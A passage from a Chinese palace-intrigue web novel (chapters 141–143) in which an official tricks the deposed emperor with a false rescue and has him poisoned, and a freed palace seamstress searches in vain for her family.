专司寝居的女官为太后点指了几处。章氏挑了一回，指着其中一处，定下来，“这处离官家的寝宫倒近。我瞧瞧……蕙、兰、台，就此处吧。” 当即使人整治一番，库里拨了惯例的赏赐，又唤尚衣局为李修容量裁衣物，尚药局、尚食局排办其饮食滋补。一应人等，为着几个月后将诞的帝子，初初地忙开来了。 一旦后宫里有了变动，便有些人碰人、人挤人。倒并不是人多没处下脚，只是殿中省的女官、内侍官们，隔三差五地便被占用，尽是在喧闹杂乱的西宫。一时是那位太后卞氏头疼脑热啦，一时是某位嫔妃缺少秋衣啦，一时又是掐架嘴角啦，闹得章氏皇太后烦不胜烦。 郭禧是个好新鲜的，在位不满年，在册的嫔妃竟有八九十名，本就良莠不齐，如今一齐挤在西宫的犄角旮旯，更难免闹出事端。她便趁李修容有孕的时机，说与了天子，请一个处置发放的法子。 郭显听闻了，只道他自会处置，章氏也就不再问了。这关乎“自愿”禅让的太上皇郭禧，本就有些忌讳，她乐得撒手不管。 太上皇郭禧并未留宫，而是移居在了距宫城不远的灵光殿。这本是理宗皇帝求佛求道的别宫，如今用作郭禧的居所，内外重重禁卫，着甲持刀地严守，莫说是人，连只蚊虫都飞不过。 郭禧在位八月，到如今禅位也足了八月，过得是煎熬还是舒心日子，群臣谁也不清楚。他们只将脑袋一低，两眼一闭，山呼当今天子万岁去了。 至于当今天子能不能容，那是他们兄弟之间的事，外臣管不着。 郭显有这么一帮见风使舵的臣子，比谁都清楚，气节、操守这种东西，早在理宗皇帝长年累月的治下，已被一点一点磨得精光。有棱角者，如文献应公，早已化作原上一抔黄土。 臣子们，尤其是上了岁数的，就这么得过且过，只要帝王仍然姓郭，他们便不在乎究竟是谁。今日效忠郭显，若哪日灵光殿里的太上皇复又回来，他们依旧将奉为万岁。 这一切使得郭显难以安寝。天下之口悠悠，他又不得不按捺下性子，忍了足足八个月。 一切的契机刚好，他渐渐将兵权与民心把稳在手里，终于抹去了最后残存的一点对兄长的友爱。 第142章 第142章碌碌此中人，奔走不得…… 他唤来了元羲。 一朝天子一朝臣，从前效忠于太上皇郭禧的一干文武，自新帝登基后，已放的放、贬的贬；唯有元羲元翰林，如朝堂的砥柱，依旧牢不可催，不仅未遭贬黜，更加赐了爵禄。 这一回郭显传召，并不在明堂，而在青莲浮香的宫后苑一处池亭，十分有君臣闲话的兴致。 郭显谈的也的确是闲话：“祖宗礼法、历朝历代里，有无嫔妃守陵的惯例？” “有。”元羲不知他为何提这个，便答，“远的的不提，先帝山陵崩，圣眷便已为守陵，如今半年有余了。” 郭显点头，又问，“顺成皇太后留待宫中，秉持内事。自太后而下，为先帝守陵者有几人？” “按一向的惯例，凡有宠、无子的嫔妃，皆要侍先帝于陵园。”元羲道。 郭显不置可否，只是揉了揉眉心。 宫人皆退守苑外。此处雅静，鸟鸣清幽。天子有一时未开口，元羲便斟酌开解：“政事繁冗，官家当以圣体为要，切勿多忧多虑。” “你是不知，朕哪里是为了朝堂的政事。”郭显终于接话，眉宇中有淡淡的疲倦，“后宫的那群妇人们，成日价吵闹不休，鸡毛蒜皮的琐事也要闹到眼前。西宫里康成卞太后，与顺成皇太后同辈，她处的事，顺成太后时常竟管不得，总要朕来拿主意，故此惹人心烦。” 郭禧的嫔妃多，这元羲是有所耳闻的。八九十个妇人，各个有侍奉的宫人内侍，摞起来竟比小山高。但若说西宫里就搁不下，那也未必。西宫荒僻，那处的争执当真能闹到天子跟前？ 元羲缄默，半垂眼眸，余光却不放过天子面上每一个神情。 果然，一会儿，郭显似是无心，喃喃了一句，“待到那帮妇人去守陵，朕方能得些安稳……” 元羲此时便不低头了，却与郭显对视，平静、沉冷，坦坦荡荡。 郭显未从他眼中搜到一丝震恐的神采，仿佛如临明镜，照得自己的心肝纤毫毕现。那心肝里有血肉，有恶念，有隐隐不敢向人言的脏污。 “墨池可愿为朕解忧？”郭显紧盯着他。 元羲松缓了一口气，仿佛 因此言卸下什么重担，“臣愿尽心竭力。” 郭显笑了笑，不再复前言，只与他观赏曲桥风荷，内心里却在琢磨。 他有些弄不懂他。若说郭禧对自己而言，是卧榻之侧的虎、是心腹大患，可到底他并不曾亏待元羲。据郭显所知，太上皇当初登基，便予了元羲荣宠爵禄，不仅令常随左右，朝政之事，也莫不依从，甚可谓百依百顺。元羲以弱冠之姿，临人臣之极，实不该对郭禧报如此切齿的仇恨。 若说皆为了应怜的缘故，以郭显想来，却总有些不足。 无论他心思如何——郭显总对他放心，只因如今的元羲，无父无母、无亲无友，无妻子、无朋党。他是个孤臣。 心上巨石即将挪移去，郭显望着池亭苑柳、宫阙飞甍，仰望映日的青天，真正望见了这一片属于自己的基业。 元羲退出池亭，出了宫后苑，在内侍的领路下，从掖门而出。即将到外城时，那内侍却趁无人，近前一步，悄悄塞与了一件物事，而后笑容满面，躬身一礼，施施然而回。 待到归家的马车中，他将揣在袖里的物件取出，瞧见是个不大的锦囊，上绣着通草的花样。马车微晃，车中渺渺的淡光一摇，那通草瓣脉舒展，摇曳竟似鲜活，其精绝之妙，是再难得的绣作。 锦囊里塞着张字条，相较于绣工，这笔字便平钝得多，堪堪称工整而已。上头字字哀求：【元官人，绣院苦熬难忍，奴惶怖无依，衰残将死，盼凭旧日主翁之念，搭救一时。再拜、再拜！】 落款是【范氏罪奴，碧云泣书】。 想来她满口称罪，是听闻了外间风传，他元家的新妇庐中潜逃之故。她为着先前向郭禧撮合牵线，如今已失了颜面，却也无人相求，只得厚着脸皮，不知怎么，买通了引路的内侍，才传了这一张小贴。 绣院，尚衣局。 元羲将那锦囊翻来覆去瞧了一瞧。范碧云的针黹当真是卓绝，想来在尚衣局那样的地方，凭她一手拈针刺绣的本事，熬上几年，未必不能出头。 只是人心不一，他怎样想，此女未必如此想。 他收了锦囊，闭目车中，渐渐地，心中有了主意。 范碧云被发落到尚衣局的绣院中做活。 奚落与讥笑总是难免，女官掌事派下的活计又多得做不完，一时要绣帕子、一时要绣新衣、一时又要鞋袜，俱是些缝缝补补的活计。起初光是纳鞋底子，范碧云便将几个指头戳得生了疮疤，下水也生疼。 她实在难忍，求到掌事娘子跟前，要些绣作的细活，又将一方绣过的旧帕子献与人瞧。掌事娘子相中了她那一手绣活，私与她定了规矩：每月的绣作里，总要挑三样好的做孝敬，余下派来的活计，不许怠慢，如数完成。 时日略长，范碧云磕磕绊绊，稍稍摸清了里头的门道——绣院的宫人们，除了定准的绣活，私下里也绣些别的，要么是承了人家托来的活计，要么是绣了拿去换钱，愈精细的愈贵。 她做修容时，所有的钱财都已费在买通天子跟前的中贵，如今一毫皆无；后宫之中，除了定例的饮食穿用，其他一应增补都所费颇多。尚衣局的那点月钱，还不够她多吃几颗鸡子。 由俭入奢易，由奢入俭难。范碧云过惯了**衣贵的日子，愈发只觉步步维艰。被逼得急了，她狠狠心，一咬牙，将平日里不多的闲暇时候也用起来。旁人闲唠，她绣；旁人冲盹儿，她绣；旁人睡觉，她还在绣。 就这么苦熬苦掖，在尚衣局的第四个月，她做完了份例的绣活，献上了三条与掌事娘子的团花帔子，竟还私留了一条再精细不过的腰上黄。 时人腰系腹围，贵鹅黄色，多绣富贵团锦，如牡丹芍药、如意祥云花样，这风气自宫苑里传开，云为“腰上黄”，精工细绣的一条腰上黄价可二三十贯。范碧云掰着指头想着数钱，好容易寻人换了，却只说回了三贯的钱；捏着鼻子收了，回头瞧瞧自己那张常日熬夜憔悴的脸，以及红肿无神的眼眶，酸苦自心中来，将门一锁，捂在被子里哭了一场。 没奈何，她若还想有个出头之日，便得一贯一贯从心血里逼出钱来攒，依旧得这么忍着旁人冷眼讥笑地熬下去。 就这么，又熬了三个来个月，变着法子俭省，几乎是牙缝里抠出了二十贯；打定了主意，探听得元翰林时常入宫，车马等在外宫门，内宫门里走的是由南向北的一道掖门。她将些好处，时常与那位姓袁的值守内侍孝敬了，说得上话，终逢得一日，元羲又谒宫门，范碧云决心不再等，求那袁内侍帮忙通气，传个锦囊与元羲；好话又说尽，将余下的十几贯全做了好处与他，这才引得阉人松口，答应帮这个忙。 范碧云不知这法子究竟行不行得通，毕竟阉人无义心，未必收了好处当真办事；又或许他与了元羲，元羲却因婚事不谐而憎恶她，不愿伸手相帮。那样一来，这宫禁便真成了牢笼，她一辈子料不能脱了。 便这么惶惶不安地等着，日日夜夜地难受，将要坐出病来时，忽有一日，掌事娘子携了个人来，满面堆笑，指着正埋头绣活的范碧云，“正是她！阿范，快来拜见中贵人！” 范碧云茫然抬头，腰背酸疼得厉害，晃了晃才立起身，尚不解发生了何事。 掌事娘子嫌她愚愣，过去抄走了她绣了一半的蜀锦。范碧云才张嘴要夺，忽脑中一清明，打了寒噤，忙忙地失礼，心中忽然跳得又急又快起来。 中贵人点头，面露怜悯，“的确是久病枯干之相，不宜长居宫中，免得过了病气与贵人。范娘子，随我来吧。” 范碧云心知这是惯常对外的话。久病不愈，不就能放出宫了么？她激动得面颊一阵潮红，什么也顾不得，抬脚就要随人外走。 却又一把被掌事娘子拉回来，眼眉一横，悄声叮嘱：“你傻了？细软捎上！” “我不剩些钱了。”范碧云瞧着掌事娘子些微真心的脸，勉强一笑，“奁里有一方我私留下的帕子，姐姐拿了去吧。” 中贵人在外等着，容里头一二说话的时间。 掌事娘子一贯来严苛待人，除非见贵人，几乎从不曾笑；这时瞥了范碧云一眼，什么也没说，拔下冠旁的一根金钗，高昂着下巴，麻利又熟练地插在了她发心的髻上，依旧颐指气使，“快去。” 范碧云愣愣地点点头，转身而去，跟在中贵人的身后，即将迈出绣院的门时，才有所领悟，回头而望，恰见穿过一枝绿梢头，掌事娘子遥遥望来的平静目光。短暂的一顿，对方背离了身子，将好奇探出来瞧看的宫人们赶回去了。 她初时不大能理解那目光，但觉这位严苛残忍的妇人忽然不似平日里死板，显出了些温和。 而后，她跟随着穿过重重院墙，走在严整华贵的长廊上，忽又理解了那目光中另一层含义。 ——那是一种艳羡和期盼。 猛地一瞬，她心中针刺了一下，眨了眨眼，泪便失控般涌出了眼眶，滴在白玉石的地面上，无人察觉。 她低头亦步亦趋地跟随中贵，一道一道阶下、一重一重门出，无声的眼泪止不住地流，头上的金钗冰冷，沉甸甸地不知是冠还是别的什么份量。 她是离笼的飞鸟，早已没了当初一头扎进樊笼里的骄傲与盲目。她懊悔不迭，终于重又回到了青天之中。 直到出了最外的宫门，城门洞里，与烈烈的晴光一线之隔，中贵人不再向前，待在阴影里，用细长温和的声调，催促她，“范娘子，恕不远送，去吧。” 范碧云抬起泪眼模糊的脸，一片朦胧中，望见城门狭小被框死的世界外，明艳艳夏日的天，以及宽阔的御道两旁，无尽排开的绵延屋舍的青黑。 从这条御道而去，她便挣开了枷锁。范碧云迈出一步，走入晴光之下，又迈出一步。 中贵人仍在阴影里，向她点点头，回身而去，无形的笼锁在他与嚷嚷尘世之间隔开。 范碧云空身无着，顺着墙根走了几步，却迎面撞见一辆正缓缓行来的马车。驾车的马健壮神气， 车夫撩开帘，宽敞的车厢里头，坐着个颀秀俊雅的年轻人，着平常的衣衫幞头，却已浸染了上位者的冷漠与漫不经心。 “上来。”里头的人道。 她有些惶恐，更多的仍沉浸在那股巨大的、倾倒的悲伤中，手脚并用爬上了车，坐在离他远远的对面角落。车帘放下，她终于不再憋着，放声大哭起来。 元羲不言不语，甚至兴许没听她放悲声，只是闭目任车马回行。 哭了许久，范碧云终停了住，抽泣地拿了帕子拭泪，才想起该谢他。不料想才一动，元羲却仿佛醒了，睁开眼，单刀直入，“你如今是告病出宫，名籍仍在宫人簿册上。” 脖子上像是被人劈了一刀。范碧云一哽，再哭不出来，惊恐地盯着他。 元羲的俊俏是她第一眼就发觉的。他的执着与死心眼是她后来渐渐领会的。 他的可怕，是她最后才悟出来的。 “官人想要我做什么？”范碧云的声音有些抖。 他赞扬地瞧了瞧她。 范碧云晓得自己问对了，不由得心底却更冷。果然，若不是有事，他压根不会理会自己那锦囊。只是她想不通，以他高高在上，自己已卑贱如泥，还有哪里能够他驱使。 元羲道：“我要你去灵光殿，见一见太上皇。” 范碧云登时如被踩到了尾巴的猫，浑身的汗毛都竖了起来，压低声音惊恐道：“见他？见他做甚！” “叙旧、叙情，与他哭诉，随你。”元羲随口讲来，才切入了要点，“若他要你救他，你便应，与他定个时辰搭救。” 范碧云震骇难言，险险马车里与他跪下，哆哆嗦嗦将话挤出来，“我、我、我……官人，我只是个不成器的奴婢，做不来大事！您换一人吧……我万不敢向人讲的！我不成的……” 她真是被架在火上烤，急得汗都出来，又十分想哭。元羲却泰然，教她安坐，“平日里伶牙俐齿，舍了脸什么都敢做，怎么这会孬了？说一嘴而已，又不当真教你救他。” 范碧云被闹糊涂了。 她默默缩在角落，思想良久，领会了这话，马车临到元氏家宅时，终汗涔涔地点了点头。 “我做。”她艰难开口，又疑惑又惊怕，“只是，官人为何要诓骗他？” 元羲并不答她。马车微微一晃，停稳了。 “事过后，你在宫中便勾了籍。为着你自己，更名换姓，远走了吧。”下车前，他丢下这一句，算是对她的承诺。 灵光殿在宫城南面不远，与宫城里殿阁错落的恢弘相比，不过是孤零零碧瓦琉璃几角翘檐的顶。一带院墙原占了百亩见方，后随着理宗皇帝薨逝，渐渐被侵了墙界，坍的坍、退的退，如今唯剩了三十来亩。中殿仍存，四面也有左右配殿、池塘园林、开阔的道场，只是入内便扑面而来一股荒败的气息。平砖下生出青草，砌石的阶上沾了苔痕，野狐鸟雀都来寻觅，将污秽遗在墙角边、栏杆上、屋瓦顶，无人相问。 范碧云走过重重把守的禁卫，肃穆的气氛教她腿脚发软。她努力目不斜视，不去望那些泥塑般的执刀护卫，学那掌事娘子的傲慢态度，高昂着下巴，一步一步地走过了道场。 仍旧壮伟的中殿矗立在眼前，瓦顶便是青幽幽的天，一般有丹墀白玉阶，阶角破碎，丛生团团的野草。她循着野草的痕迹，上了丹墀。 宫门是锁着的，外头拦着禁卫。她默不作声，将手中攥得已有了汗意的腰牌递过去。禁卫仔细检看核对，复还腰牌，开了门锁。 并无一人出声，连范碧云的脚步声也变得沉默起来，跨过门槛，才向里一步，身后的门便轰然阖上。她惊得一跳，刹那间生出错觉，仿佛被囚的不是郭禧，而是她自己。 里头幽暗昏昧，四面的窗皆已钉死。有一会儿，范碧云才适应了眼前的昏黑，猛地一眼，吓得叫了出来。 原来外间空旷的殿内，仍立着七八个禁卫，各个顶盔掼甲，也不出声，活死人似的直直瞪着她。 范碧云心惊胆战，如前那般，递过腰牌。最里一重禁卫终于放行，将一处内室的青铜大锁咔哒打开。这一声尤其突兀，范碧云心头积聚浓浓的不安，简直有种拔腿就跑的冲动，却生生忍住，拖着步子，扼着自己双手，探了进去。 里间有动静，响了一下。范碧云眯着眼，生疏地打量比外间更加幽黑的四周。 一个嘶哑生涩的声音冒然升起：“是谁？……碧，碧云？” 他竟能瞧得见她。范碧云心中怪异地冒出这个念头。 她费了许久，才又近前几步，探出手，先摸到了一排冰冷的锁栏，而后忽有一双同样冰冷且黏腻的大手覆盖在了她手上。范碧云一惊，猛地后缩。 “碧云、碧云！”那人似因久不开口，生涩得厉害，又有些语无伦次，“你来了，怎么？他们肯？你莫走！……” 时间一点点流逝。她的双眼终于适应，瞧见了个模糊的轮廓。眼前有个高长的身影，披头散发，仍着旧时衣衫袍服，有些脏乱。他脸容形销骨立，眼中直直射出迟钝、怔愣的神采，的的确确就是记忆中那人。 郭禧。 他身后有一张床榻，角落里一只木桶，除此之外空空如也。旧日渺立云端的帝王，如今竟落得这样惨淡的下场。 可范碧云怜悯不起来，哪怕这个败落的太上皇，曾正经算是她的夫主，她也还是可怜不起他来。她满心里想的是讲完话，快快地离开，回到那个有光、有风、有活气的人世间。 于是她示意噤声，忍着恶心与害怕，隔着铁栏凑近一些，瞧着他如获至宝似的迎上来，将眉眼都硌在栏上，挤出了怪异的形状。她无视那些，以再轻不过的声音，悄声道：“我是奉命来传话的，二日后子时，将有人来救您出去。” 郭禧猛地一惊，大喜过望，盯牢了她，目光里透出癫狂的喜悦，“是谁？” “是卞将军，皇后的兄长。”她按着元羲教的话答。 几个月的监禁生活，将郭禧煎熬成了一副会走路喘气的骨头架子，挑着名贵的衣裳料子，露在外的骨节格楞楞地支着。他喘着气来回踱了一圈，身形有些佝偻，精神头却全数回了来。 “卞羽、卞羽！朕往常只道他百般无用，未想事到临头，他才是忠心的那个！”他眼眶湿润，话里带了哽咽，又憎恶起来，“待朕出去，诛灭谋逆，第一便要剐了那元氏贼！” 他喋喋不休地咒骂元羲，范碧云没耐心再听，撤步便要回走。郭禧又忙将她拉住，左思右想放不下心，“你一孤弱的女流，他们可信你？” “信……”范碧云回头，话说了一个字，瞧此人一无所有的孤绝模样，忽心里升起个不成形的念头。 总之他也用不着了。 “未必全信，官家有何信物么？”她改了话头，蹙起眉，思索的架势，“您随身的物件？” 郭禧摸摸索索浑身上下抠了半晌，脑子也不知转到了哪一节，便开始宽衣解带，“朕血书与你一封衣带诏！” 范碧云嫌弃得不行，还得拦着他劝，“那、那兆头不吉，换一个吧！玉佩玉带、发簪？” 郭禧的确有一枚玉佩，那玉色洁白，通透得如日辉耀映雾岚，上雕栩栩如生的四象纹样，贵不可言；范碧云曾见过不止一次，到此时也还缀在他腰间，并未被禁卫取走。 他摘下玉佩，有些犹疑，“此物不如朕的亲笔手书……” “足够了！”范碧云双目湛亮，激动得面颊发红，将那玉拿了，敷衍地安抚：“官家且忍耐两日，往后便好了！” 御用之物，尽是无价之宝。她想，单得了这一枚玉佩，她何愁换不来千八百贯？到那时，便远离洛京，寻个繁华的州城，买房置地，再招赘个夫婿，她一样能出人头地。 郭禧仍欲与她叮嘱，她却早已背过身，将玉佩深深地纳在怀中，头也不回地离了这暗无天日的牢笼。 第143章 第143章归归与去去，俱是在歧…… 人，一旦生出希望，连生不如死的日子也有了盼头。 自范碧云走后，郭禧不再浑浑噩噩，陡然间有了些光彩，在不见天日的灵光殿里，既恨又盼地数着时辰。 禁卫按时与他递入饮食，他便凭此瞧见外头天光，暗了又亮、亮了又暗。再一日，晚食送过，他盘腿在床，心中便一点一滴算计起来。 不知卞卿究竟怎样来救，那外头禁卫也不知是被买通或悉数杀尽。总之，无论旁人如何，他身为帝王，候臣子来时，必得气概风度一应不减。 想到此处，他便又急急地起身，抻了抻早已褶皱凌乱的衣袍，又勉强拿指头梳拢了蓬乱的发，愈发焦急地渴盼起来。 酉时，戌时，亥时，子时。 正当他以为是否自己太过心焦、而错盘算了时辰，咔哒一声，外头门开了。 也不听禁卫如何声响，却有一轮光晕鬼魅似的飘了进来，四下阒然无声。 郭禧心中猛地一跳，眯着眼，才瞧见那光晕外的轮廓，原是一人手执灯盏，无声无息地走进来。那光火随着脚步雀跃，映亮了近在咫尺的一张平静的脸庞。 哪怕在如此诡异的幽深之中，那一张脸也仍是隽秀风雅，带着几分与世无争的柔和。 “你！……”郭禧却失声，紧后退半步，又忍住，露出了切齿的恨意，“元羲！如何是你！” 与此同时，心底里张皇而飞快地盘算起来：他为何来了？如何此时会是他来？难道…… 不，不，不。要么是凑巧，要么是他听着了什么风声。郭禧如此安慰自己。 “太上皇。”元羲在内室之中，铁栏外，与他不远不近地峙立，“您为何大惊失色？难道料想有除我以外的人来？” 郭禧按捺下一闪而逝的慌乱，冷笑一声，“这样的鬼地方，以你如今高高在上，又来作甚？难道便为了奚落朕？” 与他相反，元羲从始至终也不见一丝紧张，平静得有些死寂。他道：“太上皇智卓武功，不会料不到我所来何事。” 他将那一支烛盏搁在脚边地上，眉眼间多了令人瞧不真切的幽暗，令人无来由得不安。郭禧瞧见，他从所怀袖中取出了一只精细小巧的玉瓶。 郭禧直勾勾地瞪着他，从惊慌到不甘，又无端地急乱。 “这是何物？”他声音发紧。 元羲话如平常，“牵机。” 郭禧心中有兽嘶吼，狂乱地发怒，两只眼射出怨毒的刀锋般的光，恨不得剐下他一片肉来；与此同时，内心深处却更惊慌。他总不能功亏一篑…… “几时了？”他突兀地问。 元羲算了算时辰，“子正。怎么，太上皇还想选个吉辰殡天？” 那便仍有半个时辰，兴许卞羽尚在来路上。 郭禧正想着，忽一惊，是元羲将那玉瓶不轻不重扔在了他脚下。 他死死盯了那玉瓶片刻，拾起来，攥在手中，感受牵机毒药一阵冰凉的寒意，却向着元羲，忽没了方才怨恨，仿佛要与他促膝长谈一般，问：“元卿，元墨池，朕自问待你不薄，更有予你满门荣宠之意，你有为何要陷朕若此？” 元羲挑了挑眉，“满门荣宠？太上皇所谓，指的是我父子反目、兄弟相欺、故友离叛？” 好，好。 郭禧要的便是他接话往还，自己但拖过这半个时辰，便能得一条活路，那时再将眼前此人千刀万剐。 他索性一撩袍角，坐了下来。元羲见此，隔栏几步，与他相对盘坐。二人一内一外，若不是昏黄灯烛黯淡，气氛怪异，真如多时不见的好友一般。 “你父子为何反目？”郭禧问。 元羲道：“他为立稳朝堂，不惜陷害多年挚友、儿女姻亲的亲家应安仁，如此行径令人不齿，却叫我如何尊他为父？” “不错，元坚自诩清流，却最终投入朕麾下；与大哥的亲党分道扬镳，本是应当。他不过尽了为人臣的本分，你是他的儿子，理当以父为纲，却谋亲叛逆。”郭禧目有不屑，如今瞧他像瞧一条咬了主人的毒蛇，“你振振有词，说什么元相不义，归根究底不过是因一妇人的缘故！那应氏女究竟有哪里好，教你如此念念不忘，不惜弃了君臣父子的伦常！” 元羲静静听罢，并不恼怒，候了一会，见他不再言语了，忽问了个不相干的，“您这一生，最想要的是什么？” 郭禧冷不防他这一问，愣了愣，脱口而出，“皇位。” 元羲笑了笑，如玉的风姿在黯淡烛照下蒙上了几分平和。 “我父严苛，我母虚荣；我的三个哥哥，为名为利，暗自相斗。我本无心官场，不过指望太平安稳一生。”他缓缓开口，像是回忆，触动了某颗温柔的心肠，“应氏女温蕙良善，她的兄长有侠肝义胆，她的父亲古板却清正，心口如一。我自与她家结为姻亲，欢欣无限。她，与她的家，便是我一生所求。” 郭禧仿佛懂了些，又不能全懂，只是皱起了眉头。 “我原本可以拥有这些，却全为你一己私欲，旦夕尽毁。”他紧紧盯着郭禧，那目光教人不寒而栗，再不见了方才温和，“你为着你所求之物，毁去我的所求。作为答报，我理当教你也尝一尝痛失所爱的滋味。这不是很公平么？” “疯子！”郭禧如被当头一棒，恼恨得面红耳赤，“痴儿！朕予了你权势，你要多少个妇人没有！便是要取那应氏女，若不叛了朕，早也已到手了，又何必拖拖沓沓，最后成一场空！” 人与人永远不相通。正如他觉着郭禧对皇位的执念荒谬，郭禧也从不会懂他的渴求。 应公已去，应栖已去。他所敬者皆付断送，唯剩一所爱，如何舍得再断送了她。 他漠然地望着郭显。郭显显然记起了时辰，又强按着冷静下来，那模样搜肠刮肚的，尽捡往日的旧事，与他拖拉时间。 元羲也不急，郭禧想谈，他便陪着谈。郭禧从往昔为三皇子时的游苑射猎、到为帝时近臣私报与的诸臣秘辛，一股脑倾出来说与，生怕那一瓶牵机毒再被想起来一般。 声、色、犬、马。这位帝王拉拉杂杂说了一通，总不离这四字。 好歹拖得将近过了半个时辰，郭禧深陷的眸子里，光彩愈来愈急切，急切到了焦躁癫狂的地步，而后那急切化作了迷惑，又成了惊惶。随着子夜一点点将尽，烛焰腾高了一寸，料想中的卞氏族人，一个也还不曾出现。 外头世界死去了一般。 郭禧口干舌燥，再也说不下去，眼见着一刻比一刻颓唐，愈频繁地瞥着手心里玉瓶，眼眶几乎瞪出血丝来。 元羲不再与他接话，只是道：“太上皇在等什么？子时早过，再要迟滞，外头禁卫可等不及了。” 郭禧默然无语，半晌，绝望的目光盯在了他脸上，望见那深井无波的神色，忽如梦初醒，如被照门脸狠狠揍了一拳，头晕目眩，骇然道：“你、你……你晓得！你从一开始就晓得，是不是！” “晓得什么？救兵？”元羲唇边绽出笑意。 “元贼！”郭禧无望化作了深彻的狂怒，猛地跳起来，扑在铁栏间，伸出手便要抓他的头脸，却堪堪只到元羲面门前，再近一寸便能碰着，再近一寸却也不可得。 困兽笼中，也不比此时的郭禧更愤怒。他狂吼：“朕是你的旧主！你尽可杀戮，怎能如此折辱！” 元羲淡然无比，好整以暇地问：“候救兵久而不至，方知一场泡影。得而复失的感觉如何？” 郭禧目眦欲裂，双手颤抖起来；紧接着，整个人如风中秋夜，浑身也开始颤抖。 “这也是，你的报复……？”他喉中咕噜噜不清，一瞬由怒转衰，连话也失了气力。 元羲望着他，冷漠催促，“黎明将至，太上皇，请早上路，这是您最后的体面。” 若待禁卫入内，强押着灌入牵机；或一条白绫，按着头勒上，没得丢了他帝王的颜面。郭禧最终认清了现实。 他无言，拾起滚落在地的玉瓶，冷冷笑了一声，再不望一眼元羲，拔开瓶塞，仰头将整瓶毒药吞下，半丝犹豫也无。 倒有了几分旧日帝王的果决。元羲冷淡地想。 他眼望着这位篡逆的帝王、如今的太上皇回躺入床，平心静气；一刻毒发，牵动浑身筋脉血肉，肌理怪异扭曲，伴随着嗬嗬连声痛苦的咝响，又从床榻滚落在地，抽搐半晌，最终仍以一个极不体面的姿势，俯面倒在了血与秽物之中。 烛焰极细极长，像被掐住了脖颈，也命悬一线。元羲将烛火吹熄，立起身，拍了拍衣袍的尘土。 内室的门无声洞开，禁卫闪在两旁。正殿的门也依次打开了，豁然射进灰白黯淡的光来。 元羲走出内室，跨出正殿门槛。里头昏黑，尚未发觉，此时已上接天光，屋宇殿堂重重檐角仍深黑高耸，夜幕残存，天边却已有了灰蒙蒙的鱼肚白。 黎明已至，将失败与过去永久地留在了前夜中。 他叫来禁卫的头领，清明淡漠，“去，向天子传丧报——太上皇，殡天。” 太上皇殡天。 范碧云手心一个哆嗦，险些摔了笼在袖里的那块白玉。 她干立在这一间玉器铺子里，耳听着一旁店掌柜与人闲谈，正说到昨日才有的新事。为着太上皇殡天，要行国丧，停市斋醮三日，百姓人家一月禁宴乐嫁娶，又得家家户户挑了麻布丧幔于门首，以示哭悼。 那店掌柜又嘱咐伙计，“咱们家又不比别的 ，更是要仔细真着，这时节多有贼徒趁宫城里忙乱，偷了贵人的物件来质，更莫提那随葬的珍宝！倘或咱们瞎了眼收上一件，事若发了，你阖门老小都要吃罪！” 说着，才上下一打量门槛里边的范碧云，摆上个和气的笑脸，并不见怎么殷勤，“娘子来瞧我这店里玉件？” 范碧云勉强点点头，再不敢将那玉摆出来人瞧，胡乱指了个镯子，“这个几贯钱？” …… 如论如何，自然是买不起。 她一身再素不过的衣裙褙子，细麻的料，顶着店伙计凉薄的目光出了铺子，在晃眼的日光下，一时失了主意，不知何去何从。 所幸剩有掌事娘子赠的那一支赤金簪子。范碧云得换了二十一贯钱，思来想去，实在无处投奔，终想起了自己的娘家。 那屋舍在京城外二十里处。自范碧云被卖与牙行，无论流落江南，或重回洛京，再不曾会过家里人。她心里憋着一口气，只当他们死了，自己是好是歹，她独个一人撑着。 她更不敢去寻元羲，如今走投无路，勉勉强强地，打算回那低矮的茅屋里瞧上一眼，也说不出是个什么念想。 熟门熟路地踅摸到老屋，那里三两处人家，是个零散的村落，有几户家墙篱笆已败坏了，里头透着冷落的气息，一些个旧邻乡亲也不知是远走或死散了。 她远远地瞧见一户屋舍，茅草的顶，围着一圈泥垣篱落。午日的晴光宣泄，将些粗陋与猥鄙尽数遮掩，一派生机盎然的景况。 范碧云闭着眼也能想见那处的路。入院门，左手横木一尺二寸，有道斧劈的痕；向内十二步，便是正屋；屋前堆着草垛，草秸支棱向外，时常勾住她衣衫。她甚至能想象，靠窗的桌椅边，坐着个作绣活的妇人，门前有个扎着总角、流着鼻涕的小子，正团着脏兮兮的手，搓那泥丸子耍乐。 那是她娘与兄弟。为了养活兄弟，她娘将她卖了。 范碧云不想家去，却一步一步，一双脚不听使唤，忙忙地向前走。在墙垣外，果真见里头有个小子，一般的年幼、一般的肮脏，口中嘀嘀咕咕念着什么。她墙外仔细听来，听出那娃娃含糊不清地唱的是： “啾啾鸣不休，东西南北头。黄莺黄莺去复来，来到小郎屋上头……” “扑扑飞不休，东西南北头。画眉画眉去复来，来到小郎屋上头……” 刹那间，一股又苦又酸的滋味哽上喉头，猛地泪水湿了眼眶，打落在她手背上。范碧云慌慌地抹去泪，瞧仔细了，松了一口气，那是个不认得的娃娃。 她在墙边探头缩脑，那小小子一眼见着，不玩闹了，回头冲屋里大叫：“娘——” 里头出来了个腰粗脸红的妇人，包着一方青布头巾，眯着眼瞧过来。 范碧云一愣，不是她娘，一时觉着脸熟，却想不起来。 那妇人望清了她，惊诧地招呼：“泰娘！” 范碧云教这名儿惊了一跳，半晌方才辨认出，这是从前邻家的阿姊，幼年时总一处玩耍。她想走，又心中犹疑，脚下生根了似的，问：“四娘，我家里人……” 四娘通身打量了她好几眼，先艳羡了半晌，拉着她手说话，“大娘子同二郎好两年前便走了，大娘子寻了个……寻了丈夫，可不就搬走了么，这屋子咱们便照管了。泰娘，你这是打哪儿来？一别四五年，你竟贵气了许多……” 她喋喋不休，范碧云只是茫然，渐渐地失望化作了没根底的慌张。 “这回回来了，你还走么？”四娘试探着问。 范碧云将手从那双粗糙生茧的手里抽出来，敷衍答对了几句，转身逃也似地离了去，再不回头瞧一眼儿时那个家。 她忙忙地远走，并不知方向，扑面的泪迹已干，悲伤渐渐退去，取而代之的，是四顾茫然的怅惘。 从此，前路失道，她唯有孑然一身，及所携的一枚无价的白玉、二十一贯钱，又该往何处去？ 她停在牙道旁的十里亭外，上望洛水河波连天，道迹杳杳，想起了祝兰。 想来，祝兰那时动了念，是想带她走的吧。只是她自个儿贪富贵花丛，迷乱了心目，反暗嘲她不识金玉。 如今她悔了，祝兰又在哪里？ 身后的四娘再没跟来，连那屋舍村落也不见了踪影。天地寥远，她终孤独一人。 第144章 第144章良夜帘卷，一双人不眠…… 